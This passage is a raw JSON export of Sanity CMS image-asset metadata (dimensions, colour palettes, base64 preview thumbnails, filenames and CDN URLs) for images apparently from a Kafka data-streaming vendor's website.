55","foreground":"#fff","population":3.68,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141955","foreground":"#fff","population":3.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcbbd9","foreground":"#000","population":0.46,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3c59d","foreground":"#000","population":0.79,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4e668c","foreground":"#fff","population":0.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c72a2a","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"8140add1f801ee6a87467eb16cb32023a22b826f-3401x1962.png","path":"images/sczeoy4w/production/8140add1f801ee6a87467eb16cb32023a22b826f-3401x1962.png","sha1hash":"8140add1f801ee6a87467eb16cb32023a22b826f","size":396597,"uploadId":"UxjZNnooKYTKyB4wUZj16Tndd4OvQRkx","url":"https://cdn.sanity.io/images/sczeoy4w/production/8140add1f801ee6a87467eb16cb32023a22b826f-3401x1962.png"} {"_createdAt":"2024-08-05T16:28:59Z","_id":"image-4b32b441d1bc44d872318b48f238cda048b5b9af-1200x628-png","_rev":"9UINTEl5Nh5uQ7g7zvCEsP","_type":"sanity.imageAsset","_updatedAt":"2024-08-05T16:28:59Z","assetId":"4b32b441d1bc44d872318b48f238cda048b5b9af","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHDj*_jW1Ij?EhtTWUnha~Nd1kj?}9jZ$M","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACU0lEQVQokRXOTU/acAAGcL7A1Nr239LSFioItKBCUYTSglBAUBAKigoi7wHGhBlf5sySMfGwLDHZsiXbPGws2xJPet5hO5gtfqylyXN4Lr88j24CqFP6TcLWYF09q+uJfaFvcx3ywgknnNnd5/zS0OkdOZZGdvdz6/yAc/c54djIn+CmA5Rp6zRMbtFznTnpSAqfRJSzUPRFOP5KSYyU+GUs+Tq2fhVJXIWUCyl4Gomey9Eh536GGzswVdfwJJ4n2KK8sN2Q1EFYbQYLm2KtEq4frlaOE7Vm9HEhNGit1Por+W54N+XvWGxdhKpOEyXdJFAfgRxJZCrOwG2Cf8jbb1f5oU98pwT/FJb+7XjGidBLae0mKT5szf9S3af+mI0tQUQZJvc1PAFyBJHd5eWfUed9xn4X5y59vvcR8Xfe83dL+LYqj6T4TWL5Pj9/l/b0l9dmTWWIqAC6o92eADkYz3FMWuWUC+/ix8DclV/4IHu+Rxd/xL2fQv63UuBaFt6Ii0VXSrDW9HQN0pdgsqotQ5g6jW8i5I7DpPYWxM8iP5a4r0HnOCKMFUErsuNLgD8TfN7ZEm46QKgmRBSn9Ns6GMsypDozUzRa66y5vGxRU1wq69jIOLMbzo20I5nmkhl+PW1PSpYMyzYw0wAwXdhQg4iSDsGyZkrlrHsWR8tgrgOqglENnGnjxi7GtIChCqg6RrdQch8hiijdxNinGDtAmQ5iqOumMBXBVUAWAFVCDGXEUEWpJqA7mLEHjD2UaaO0lmliD8K3YaqBzxzpzceY6QDQ7f8Ewp3fwMRRywAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4671","foreground":"#fff","population":0.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041b70","foreground":"#fff","population":0.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f75209","foreground":"#fff","population":14.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9c97b5","foreground":"#000","population":0.3,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb925e","foreground":"#000","population":0.41,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c6b94","foreground":"#fff","population":0.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f75209","foreground":"#fff","population":14.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"🛡️ Defending Apache Kafka.png","path":"images/sczeoy4w/production/4b32b441d1bc44d872318b48f238cda048b5b9af-1200x628.png","sha1hash":"4b32b441d1bc44d872318b48f238cda048b5b9af","size":147467,"uploadId":"lhLchiz97NyNZu8vuF5HmSyIanCOupF4","url":"https://cdn.sanity.io/images/sczeoy4w/production/4b32b441d1bc44d872318b48f238cda048b5b9af-1200x628.png"} {"_createdAt":"2023-03-30T12:58:43Z","_id":"image-5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24-svg","_rev":"M4dczs5irsEQMrhVZkW74G","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T12:58:43Z","assetId":"5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAACiUlEQVQ4jX1UPU9UURA9sslCwq4Jyf4BCqIJWYlEK1BLLYVOAYWGnoU3d3ex8atgQ2ErocNOEmMEGqls5Gf4S+aYmTtv9y1+3GTy7rv3zJnPO2ACuAewC/jeRMa+DQoWXPJ+HJNC1zgSAO0D7AHcj28JHinOUtAPmS3vtbzvjXSNCywAdhxUo2CGgpYmTDowKxnha5e8Lw1PqqAVOjXnKIzQALsOsIsVCrYpaGuBOgsP8Q4FWyG2b6igroJ2YFdc1zik9DD/tALwgYJVChYpWFPBQAWfmGVgZ3G3Gtht190tPTTCHUALTJpnAdwM5TMKzlXwmYJTCi7i7ICCl4Ftm67uVEO25JqFPdTD+oEKLin4SME6BUsh63F2GaSLrmP5i2INCb1qBZoR0lkoPlBBUwtM0ET8/mHcfaPgueY8jxE2oh1mI+kW6nl401QzVuk3M0DBRoQ/8DRlXZOGAa1p+0zeGlsqOPF8JSyx616N+jJ7MsGEZSacBnYzdI1j4Q9CloSC5Qjz+svJhBlzon8h/G/I0fRZrCMENyshH2g15GQh2zMaPadmEHlRNBeg6V7l8I3sEQVHgVkLnUpRyoTnpJvSbQreUvB92DaWT5Ns7Cju3lBwy9NSGRa+yoeuNjEKTFFwn4L3KvhBwU9rEc1tYns7e0fBPQqmfNLEaxuuyE3+JtygDBv8WAW/jMTIfZ9wrAl3HWPYfuj2q4SllUxshPadUcErCq4oOAy50oR9GwYelWEtKpPOdQ/LQWugTDxNwQvN1fwacsGEDSZMD/Nu2BjOY8ur3Il8jubjPAU9Cr6YaEKXCfOaUPOhWinoP5flwovz1NvJJtAcBU+Y8JgJczZY+Sw8q+Yt1m9+CHqbee1B/gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c405c","foreground":"#fff","population":0.35,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8c0c04","foreground":"#fff","population":0.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ed7c06","foreground":"#fff","population":2.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#79311f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4745c","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a1744e","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ed7c06","foreground":"#fff","population":2.08,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"ICON3_lightbulb-02.svg","path":"images/sczeoy4w/production/5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24.svg","sha1hash":"5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8","size":553,"uploadId":"rCy8MbOxabIIqo1HCu9j3lghPhuMaIrO","url":"https://cdn.sanity.io/images/sczeoy4w/production/5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24.svg"} {"_createdAt":"2023-01-09T06:04:54Z","_id":"image-d7791860f5c68cb0e1d9a8fea38d8072eb984a27-1567x844-png","_rev":"E0WcOAmhawew35VucClCT6","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T10:28:27Z","altText":null,"assetId":"d7791860f5c68cb0e1d9a8fea38d8072eb984a27","description":"The UK Houses of Parliament","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MVQ$j[{w;LF{WB=wR*J.xFr={JGGOrwIW=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACo0lEQVQokWWSbWiNYRjH77PN2fGyDbF5iQ/4QF4+UMjbB+ITUkorFMpyOJvm2PM85zmcbWfnNM1BWzuNbVbUJD4YR7QhpcT2zaKWJinJS8h4vO0+10/ncYzy4df/7r6u+999vShMD4RGQdgH4XwI5ZG5E0OBqZD/yMaySJUindEMpkJh50N0EsSmQl0J1ExEwqNHTF2T7OO04eGn5WXY8pK2fehIIV+PTuC9Ucjnw6PcPEV1EZycjzQvhaYlyKmFSP1MJOwb+SWWQsK5OEfG8cKexvPoXN4m1/Du/DYG23fQG1vPoDGDYTM3a5iYB83LkORy15SGOXB0nGuUjuTzvWE6Q6eXMdiykauxrVxO+OlLJRnoTfHwThdX2o7xoH4zTs00lNu/SCESneyWLLWTkEgR6ZCX4YiPoeQiXnYFGLid5O6VMzQeryPRcIybN2/Q399Pb18fly5eoLslxOvEKpRbUrbhf1QbHn4YOXyMT+Fp5y7u93RyPXWV1rZWbNt2OX/uHLdv9dDT3U1HRwedCYPHdatRI9P6RzNT+2nl8Co+k56WMtpbmzlx4iR2KITfv4+Kigpi8TiNjU0cTySoDRucDW7mSXAGSkwlYnpccM9KxFAilpI3NcXSFd8isWpTqkxLAuXlsresTA7s94tdVSmx0EGJlm+Xpn1r5V7FbPkQ9Ipy9y9SCJECxPb+3TNT8cUeTV94EUmzFCOwh8DuUg7u3ET17g20BtZxLbiCe5VzGThUwifDR9rdw0iRpm6Klmix5sgYLaZHi6E0ptJp06M/WEX6kb1Ap4Ir9UX/Yp0qm6Uf+Iv1s8rx+r0xVn8zvTpt5Wis328yU3YI+xzsfAcr1xFTORjqH/U4w5bX+RIqcIbMsc63qjxHG57f8SySycvyC6AQLTAA52vvAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#203847","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#923104","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":53.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3b1ae","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7c490","foreground":"#000","population":0.73,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7484ac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":53.34,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":[{"_ref":"Y8XrsvoJ4zglb1hB5GH1gM","_type":"reference","_weak":true}]}},"originalFilename":"GOV_UK_ABM_customer_story_blog.png","path":"images/sczeoy4w/production/d7791860f5c68cb0e1d9a8fea38d8072eb984a27-1567x844.png","sha1hash":"d7791860f5c68cb0e1d9a8fea38d8072eb984a27","size":511827,"title":"We are on G-Cloud-13","uploadId":"ssENjzLIJpsx2E1Mx7mWgMxudrhchE7O","url":"https://cdn.sanity.io/images/sczeoy4w/production/d7791860f5c68cb0e1d9a8fea38d8072eb984a27-1567x844.png"} {"_createdAt":"2023-04-04T07:43:55Z","_id":"image-8b80b73efd5be62a2956d68641d78de4ead52a04-1868x972-png","_rev":"vOsSHiJII2yR1stA8UWS2g","_type":"sanity.imageAsset","_updatedAt":"2023-04-04T07:44:21Z","altText":null,"assetId":"8b80b73efd5be62a2956d68641d78de4ead52a04","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9218106995884774,"height":972,"width":1868},"exif":{"PixelXDimension":1868,"PixelYDimension":972,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAACI0lEQVQokX2SWU9TURSF+x8cmDoALYV7ue297W0LodAwFFOrEUEGmVQSCQJiMeGBOCBxIjGMBmgLFNooWMH4aDQx4cH44K/6zDmAJJjw8GWf7OysrLX3sahGM/5QO2awH8PsQA/EMEIxfDVx/DXXZNWDV/EGYrKevDV/K04lTHGpQUmZT9bLVg2LU6lD1VvQjBiqN4ribUTRT6n0RHCpYcSc14wSb7tD/70EA0OT9AyO0dY9RCTaTqUnTKHdi6XIoWMt82ErN7GW+8/gkwgHYk4PtDDxeIbk5h5bO/ukd/LMLa3T2TeMWwtTYPNgETbd1WHqGm/QdKXrH6FwHGdVrRS0OU1Kygw8/iZGJ56wmvrARiZPKrPH2/k1bvUOS4dSUNhsjffy4tUS79dyrKxmWV7NMjX9hvqmm5S6gzgqAhIjFOXh5HNSm5/I5A7YyOV5t5Lm9uAoit5Aof1YMNLSQWJqVorOvFyUjIxPU9twndKKIA7XkaAv1MrYo6espT6SzuRJZnaZW1inq2+EKk/9keClkmrsLhNFj8hIJ1R66rHLqD7sroCcMYJRxhPPSG7syh1ubX9mYTFN78AoqhGh2KFjuVisIrhQpPyH6IsENqdfCnvNZsaPI2/nvrCdPWB+IUVnz33cWt3RlYXD8yiwavLCYlg7OUry9CgicvfAA1Q9cr6gcHe2J3Y4+3qZb99/8fPwDz8Of5Pd/8rd4YRckfjYfwEnZ3GocRqR4wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c70","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#251c72","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b7b8c4","foreground":"#000","population":0.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7b8c4","foreground":"#000","population":0.61,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d0edbd","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7674ac","foreground":"#fff","population":0.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c1505e","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"qovery-staging-diagram-2.png","path":"images/sczeoy4w/production/8b80b73efd5be62a2956d68641d78de4ead52a04-1868x972.png","sha1hash":"8b80b73efd5be62a2956d68641d78de4ead52a04","size":432055,"title":null,"uploadId":"GOT1rItzbPAhMtPS0rnk7s9ZlfQiL46v","url":"https://cdn.sanity.io/images/sczeoy4w/production/8b80b73efd5be62a2956d68641d78de4ead52a04-1868x972.png"} {"_createdAt":"2022-10-14T09:34:51Z","_id":"image-f8a0d47c2043ac48c7cf1920b6205c57bf2bfae6-1600x578-png","_rev":"uOjyA1P0pPxw34TCne0ZrR","_type":"sanity.imageAsset","_updatedAt":"2022-10-14T09:39:29Z","altText":"From Jun Rao's keynote, presenting a slide called \"Community\", showing number of Contributors as 2,200 and Reviewers as 1,500","assetId":"f8a0d47c2043ac48c7cf1920b6205c57bf2bfae6","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7681660899653977,"height":578,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABfElEQVQYlR2MXWsTQRRAZ+6dOzN3ssns12zSJpukbRQracimSaOVNLG0WhCk0CLSB0WFtmBBqD7ZB8E/4F/wp0p8PHDOEVJYEBYlo2Ql2aiUzSZTcOgZY40NBTWQvNYkI2aKNgAa8L8SIJigFunEka+j36atykzGejrUswFVKXU01gGsFAaEAVkDWV9f5BoFSE5qxbh3MOxUfVee6oMbfnftPr3XX1Z00aHdSKde5aksMpnnkGWQpiqJsK6kFQrd4151ffnw4e39/sb0wix/Jbe/w89b9/0lXZa8u9nYGbn5C1qs9OHSzuZ2uMeDtmkZYGG0n47ePNz9vfv4Z95dnfPyR/h83/52ldzs2+Pgum0/GLvnR2Z1wkfH0bPKPe1zmZmCoC40ha1ycbb4eji56vvRzEzOolfL5PUsOe25PUe50yGmTqBuS5eFaXsdmBJNGWIQCpvW9OPoSeS2rSpjHORqFNOjhu2xbiFkgE0JTcACMJPgJXjAFDAAFP8AG94rZ2KA6CAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#662e69","foreground":"#fff","population":0.27,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#61057e","foreground":"#fff","population":1.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#61057e","foreground":"#fff","population":1.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a4cd","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee8add","foreground":"#000","population":0.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6653a3","foreground":"#fff","population":0.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da2796","foreground":"#fff","population":0.13,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"current-2022-community-Jun-Rao.png","path":"images/sczeoy4w/production/f8a0d47c2043ac48c7cf1920b6205c57bf2bfae6-1600x578.png","sha1hash":"f8a0d47c2043ac48c7cf1920b6205c57bf2bfae6","size":155475,"title":"Apache Kafka is community is growing","uploadId":"hNeVLTaRB9DND7fVokRtCaXrFJ8wLHfq","url":"https://cdn.sanity.io/images/sczeoy4w/production/f8a0d47c2043ac48c7cf1920b6205c57bf2bfae6-1600x578.png"} {"_createdAt":"2022-10-13T16:20:00Z","_id":"image-307b66ea827c8c5aa5a8c55a736ed25ad4374f4f-3133x1688-png","_rev":"y7Iq3RNY29xxnsCusQiPgA","_type":"sanity.imageAsset","_updatedAt":"2022-10-13T16:20:49Z","altText":"What's \"Current\" in data streaming?","assetId":"307b66ea827c8c5aa5a8c55a736ed25ad4374f4f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M65r7c?cRiM{of_4-;RjM{j]t7t7ofjZjZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.856042654028436,"height":1688,"width":3133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAC4jAAAuIwF4pT92AAABp0lEQVQokX2Ra3MSMRSG8wdks7thcxKWSxdYK7T6TWsdGOhFtrWAzWUF7Q3o91Kr7VTQ6U93EpDpdNSZZ86HJO9533OCoDQsPT9fWz8vxGdFS756yqPPuehLvnICxYHLNAaJQWFQLtOW1OOpyzSq1MeNvZv3Rz9andut5tXrxtW79tft1nVj92a7fV2pj3yuHSr/oByqXDAtMEgUv7xsd277+qGnHnaSu+b+96Q7O+jPj8Svg/58qzmNNydBfuBQkQnEooXHtM+Uz4RxftOc7n+4P/z4cye5a+x+2zu873RnSW+e9Gad7uxta5orn6yUGBTh2ufSA4FoYVionpVro3hzUqmP115clGuj6sbYMll/dRnVLkiYrsQ+09mcdpl0qECP5vkL2NZMsMyMra0VKwcUWlw8s/U/OAaJjbP0mVm7xxUyp0uff8owFS4s8ZnwQLogs1ygAESY17w0IGG6SvgYTIUPgoAgTFhbafRMEHaMQn5cjT5F8SktDh14IrYfA9IH4VLjSYytYZECERBBTmXD1OzgqfNiSPPaCUxawiQGmaEyY2f8DfWvfttoJC0iAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373b59","foreground":"#fff","population":0.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":64.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":64.01,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adb2cf","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0a4dc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#737794","foreground":"#fff","population":0.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d4447c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"What's_Current_in_Data_Streaming__blog.png","path":"images/sczeoy4w/production/307b66ea827c8c5aa5a8c55a736ed25ad4374f4f-3133x1688.png","sha1hash":"307b66ea827c8c5aa5a8c55a736ed25ad4374f4f","size":158907,"title":null,"uploadId":"yJprEeyg1BPpOAPv7enoqAjnPLvYQ5gq","url":"https://cdn.sanity.io/images/sczeoy4w/production/307b66ea827c8c5aa5a8c55a736ed25ad4374f4f-3133x1688.png"} {"_createdAt":"2023-01-18T15:18:53Z","_id":"image-98d2d896429220489f5543acd93a05c652dc9188-1216x1216-png","_rev":"XOlGy5GtRBKJG8lS628Sfd","_type":"sanity.imageAsset","_updatedAt":"2023-01-18T15:18:53Z","assetId":"98d2d896429220489f5543acd93a05c652dc9188","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eLJr8Ok;0iD*IAJ~x:SxIYrd0}[q|^KOxure5Wof%Fo@0hEg=w-9b[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1216,"width":1216},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEmUlEQVQ4jYWUW0zTZxjG39IWPIziAYROGAPGWaiy+i8HC7RASw9Q2tKilXHQcLClRUrBzDHdoplzZFMX45bswrhk2dAlS5ZpTJa5bGYEvRjT6pzL3OLFMjeMmxegYvs+S1sNTk32JU++7+qX5z18DxER4VLgv/pxlDA5QJh2E7CT0FlKaC0iOIoJjsLY27aGnnrwNNjMHsLhJkLjs4TWbBFvyhVhcz6hrpJgK4nJqiBY1v0PMPhA53xx/M8+MfZrF6GjIAsb8wrhzE8CiGBfQ2hZS9xcRtykJBjKnwRyRMHYjWBAiu+HEnF9lwyHdJnYWtQHV/44HIVm2EplcCpi7sxKglFFMFQQPwp96C4KuxSQIBhIxIXhVbiyI5Xf0VbwtuKjaC/4FY6i47CWGtlSJos4RMRdYwWxfgOhoZpQU//UHibwxeGVuDyahilPOvaqrPAUnkFnwTycxTfRophA04smmARZFGioINRXE+o0BE0dsbrxCYfx+MGfzFdfTuOTrmweK/WyJ+8Kd+cx2ooYVsUMmpQTMJaboK+SwVhOaFBHYajRPQYMjkT6J+HpoST++ZUUPtZYyjvyx+HO/pO7coC2fIatlNGknIGhYgI6tQl1tTLUVRO0WoK6kVBljAFDwVHCtX7i8wMiTG+PxyV/IvYrKjGU8Qn3pc+iMxO8MZdhX8NoLmMYyme4oXoCWq0JNQ0yNNQQausXgPhpMNJNwuvLaO9foF/etS6675eb2JP8LXpSQ9yZAbhymB1FDMs6hlHFaFDPsEY7gWq9EVVGGbLd0fKjwAjsmcF5go+I1oM+9batvO2Vu0Pu5Ve5NxnoWs28OZvhLGC2KhgmgaHbEIZGexNq/XFUmsxQWZKwwRADit1horWgSZ+GqBdxZwbrX7jlk799b2DFTLgvGbxFHuaXnmduywNsJUCTEmisBLSaENT666g0H4TKUgLBKortTj8TQkSZvb9Tuue69Jo/p3x2SHZizrti7m7/KoS3yoGO58CbcsPcWnwHzWWRwVxFfc03XK37EJXmAVZZ8qJAFuwk7g8RxojICdrh25d4I5DquDu85Nzc4PLQrDvt3v0e+d/cmf4bXDlT7Cg6gZa1b8Fcvo0NNUbo9QrWmuWosCRA2UwEwU7kjQyEiFpBR4c6U24EUvtmh5eenduedOGOJ+Xk/Z60I9yVMYL2XAe3l6iwRZWFYX0y3m9fiqBfCnxNkBsIzs0RoI1oFIQtRJQLOuvVLrvlX6m761/qm9+e1BXyyOt4W24JDwgZ2G1azp/3LsbtPVKE35Tgj1cl+G5IjPd6RLA5CeLI2gj2SNkiqFrE80qXZNZYu3i+OyuZvVmrsVNIwbhDhmO+JTg1lsCTY1JM+SU43SfGx91x+KBDhHEXgYj4UD/hUEcMCMEuZsEeD8EWj3V2KUoGxOFdB8Shk29IQ1+NSsKne8R8yhXHXzhE/FEzAZ89+GEjD7SQBwsOBXtcWGiNu1NlFc11KSh8JF+EL6tEfFlD6AYBrxGwi4DdhIuP5OdjAf3Q4YLW2wg6JwEHCThAwHnC4T7CdIBweSQKi+bnQ8Bj518tp+wggRM90AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#594336","foreground":"#fff","population":0.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5c070a","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6c07","foreground":"#fff","population":2.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bca684","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa9949","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#989468","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa6c07","foreground":"#fff","population":2.29,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"pattern-two-triangles-and-dot.png","path":"images/sczeoy4w/production/98d2d896429220489f5543acd93a05c652dc9188-1216x1216.png","sha1hash":"98d2d896429220489f5543acd93a05c652dc9188","size":31085,"uploadId":"8oJIAIr7voQweYRbqkT7CHH6TrErprvt","url":"https://cdn.sanity.io/images/sczeoy4w/production/98d2d896429220489f5543acd93a05c652dc9188-1216x1216.png"} {"_createdAt":"2023-01-24T06:14:18Z","_id":"image-0bd9ef1c1ae436365f9f78af45ae9b071658927d-392x393-png","_rev":"TE2o7iA1WIUKtaPRdgKyNN","_type":"sanity.imageAsset","_updatedAt":"2023-01-24T06:14:55Z","altText":null,"assetId":"0bd9ef1c1ae436365f9f78af45ae9b071658927d","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"egIq#=NaGaRP-o?]SyxZs8R*O[jE#kRjM|-;RQaKM|jF%fXSV@oyj?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9974554707379135,"height":393,"width":392},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEz0lEQVQ4jQHEBDv7AI2yi4eykJ7RvcDv5s7y6r3i1avYyLnk28v28tD7+sj28rDh1J/KtbLYyNj17+f57ebt0+fq0u/y5vj58QCtu4mjv5So1bev4sus3MebyK+ZxKyt2su55Nu82dC2yLmouqGjuZ640r3V6dfg6tLP2Li9yq3N1sDl6dcAv7mFwL+Lv8qZutSss9m7qc6xts+yv9K+o7OeiIZuf2xOhWtEkXxUopZ0vLCL1cyn09u/wNS/zNjD4ObSAJqtjJukeqimc7y5h8bKnb/FmLm8kKaifnpuTllCJFM1FmE6FnBGHnxTKZBpO7igeNbdy9Xw6d7y6u/27wCLvad7pYd6lW6NmW2ko3OtpXKZkmN1bEVdSCZcORhiORVlORRvPhV3RBZ5SRuPb0qxuqS449XI7uLh9O0Ahbqid6mKc6B7eJt0gJJqh4dddXBKXE4uZ0Qfl1slsW4trGwrpmUnlVggdUIWbkomgIFdhquIk72ercu0AHuojXWjgnakgXmhe3iLY3BwS1tUNVhAIo1VJdSGOe+iRuyjR+SaQsN8MoRMGl44FWVbLmV7R2SBUnmRbACMuqGVxauXybGLtJZ3gl5jWjdXQyRtRB+raC3jlEL5rEz8sU76sE3imECXWyNUMBFdTCJmazVfazhyflMAo9O+suXSreLRjbOaZ2tMXUgnd08mlVonq2Yq0IE37pt